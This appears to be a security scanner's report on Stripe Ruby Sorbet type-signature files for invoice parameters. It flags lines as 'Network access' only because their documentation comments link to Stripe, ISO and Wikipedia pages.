def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 1309
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1324
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required - Network accessline 1325
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. sig { returns(T.nilable(InvoiceCreatePreviewParams::SubscriptionDet - Network accessline 1326
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 1336
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates - Network accessline 1337
def quantity=(_quantity); end # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_ta - Network accessline 1338
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 1360
); end end # For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for pla - Network accessline 1361
end # For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for plans with `mont - Network accessline 1362
# For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for plans with `month` or `yea - Network accessline 1405
} def items=(_items); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or sta - Network accessline 1406
def items=(_items); end # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a - Network accessline 1407
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 1505
} def issuer=(_issuer); end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices - Network accessline 1506
def issuer=(_issuer); end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with C - Network accessline 1507
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_finalize_invoice_params.rbi
- Network accessline 5
module Stripe class InvoiceFinalizeInvoiceParams < ::Stripe::RequestParams # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `f - Network accessline 6
class InvoiceFinalizeInvoiceParams < ::Stripe::RequestParams # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoi - Network accessline 7
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_item_create_params.rbi
- Network accessline 41
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 42
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(Stri - Network accessline 43
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 46
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 47
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 48
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 51
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(rec - Network accessline 52
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. - Network accessline 53
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 91
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](htt - Network accessline 92
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 93
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 133
sig { params(_invoice: T.nilable(String)).returns(T.nilable(String)) } def invoice=(_invoice); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing add - Network accessline 134
def invoice=(_invoice); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 135
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 140
} def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recog - Network accessline 141
def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition - Network accessline 142
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 147
} def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 148
def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(InvoiceItemCreateParams::PriceData)) } - Network accessline 149
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 171
sig { params(_subscription: T.nilable(String)).returns(T.nilable(String)) } def subscription=(_subscription); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#se - Network accessline 172
def subscription=(_subscription); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 173
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 176
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 177
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 178
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_item_update_params.rbi
- Network accessline 41
end class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 42
class PriceData < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(Stri - Network accessline 43
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 46
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 47
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(String) } - Network accessline 48
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 51
sig { params(_product: String).returns(String) } def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(rec - Network accessline 52
def product=(_product); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. - Network accessline 53
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 113
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 114
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 115
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 120
} def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recog - Network accessline 121
def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition - Network accessline 122
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 127
} def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 128
def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(InvoiceItemUpdateParams::PriceData)) } - Network accessline 129
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 146
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-de - Network accessline 147
def quantity=(_quantity); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. - Network accessline 148
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 151
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 152
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 153
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_line_item_update_params.rbi
- Network accessline 52
sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can - Network accessline 53
def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 54
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 64
sig { params(_name: String).returns(String) } def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 65
def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 66
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 86
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 87
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 88
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 91
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `produc - Network accessline 92
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. sig { returns(T. - Network accessline 93
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 96
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` i - Network accessline 97
def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. sig { returns(T.nilable(InvoiceLineItemUpdateParams::PriceD - Network accessline 98
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 103
} def product_data=(_product_data); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the St - Network accessline 104
def product_data=(_product_data); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax - Network accessline 105
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 141
class TaxAmount < ::Stripe::RequestParams class TaxRateData < ::Stripe::RequestParams # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 142
class TaxRateData < ::Stripe::RequestParams # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 143
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 176
sig { params(_percentage: Float).returns(Float) } def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United - Network accessline 177
def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 178
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. - Network accessline 262
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 263
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 264
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 269
} def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recog - Network accessline 270
def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition - Network accessline 271
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 276
} def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 277
def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(InvoiceLineItemUpdateParams::PriceData)) } - Network accessline 278
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 295
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party - Network accessline 296
def quantity=(_quantity); end # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates] - Network accessline 297
# A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_list_params.rbi
- Network accessline 106
sig { params(_starting_after: T.nilable(String)).returns(T.nilable(String)) } def starting_after=(_starting_after); end # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://do - Network accessline 107
def starting_after=(_starting_after); end # The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview) sig { returns(T.nil - Network accessline 108
# The status of the invoice, one of `draft`, `open`, `paid`, `uncollectible`, or `void`. [Learn more](https://docs.stripe.com/billing/invoices/workflow#workflow-overview)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_remove_lines_params.rbi
- Network accessline 24
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 25
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 26
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for invoices](https://docs.stripe.com/search#query-fields-for-inv - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for invoices](https://docs.stripe.com/search#query-fields-for-invoices).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_update_lines_params.rbi
- Network accessline 53
sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This - Network accessline 54
def images=(_images); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 55
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 65
sig { params(_name: String).returns(String) } def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 66
def name=(_name); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 67
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 87
); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 88
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 89
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 92
sig { params(_currency: String).returns(String) } def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `pr - Network accessline 93
def currency=(_currency); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. sig { return - Network accessline 94
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 97
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_dat - Network accessline 98
def product=(_product); end # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. sig { returns(T.nilable(InvoiceUpdateLinesParams::Line: - Network accessline 99
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 104
} def product_data=(_product_data); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th - Network accessline 105
def product_data=(_product_data); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T - Network accessline 106
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 142
class TaxAmount < ::Stripe::RequestParams class TaxRateData < ::Stripe::RequestParams # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 143
class TaxRateData < ::Stripe::RequestParams # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 144
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 177
sig { params(_percentage: Float).returns(Float) } def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, Un - Network accessline 178
def percentage=(_percentage); end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 179
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. - Network accessline 263
sig { params(_id: String).returns(String) } def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the obj - Network accessline 264
def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be - Network accessline 265
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 270
} def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-r - Network accessline 271
def metadata=(_metadata); end # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recogniti - Network accessline 272
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 277
} def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 278
def period=(_period); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. sig { returns(T.nilable(InvoiceUpdateLinesParams::Line::PriceData)) } - Network accessline 279
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 296
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-pa - Network accessline 297
def quantity=(_quantity); end # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rate - Network accessline 298
# A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi - Network accessline 333
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 334
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 335
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_update_params.rbi
- Network accessline 20
def initialize(account: nil, type: nil); end end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/ta - Network accessline 21
end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspec - Network accessline 22
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Network accessline 172
# Installment configuration for payments attempted on this invoice. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 173
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { - Network accessline 174
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 181
} def installments=(_installments); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c - Network accessline 182
def installments=(_installments); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-cu - Network accessline 183
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 429
} def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo - Network accessline 430
def payment_method_options=(_payment_method_options); end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at - Network accessline 431
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 562
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://strip - Network accessline 563
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 564
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 567
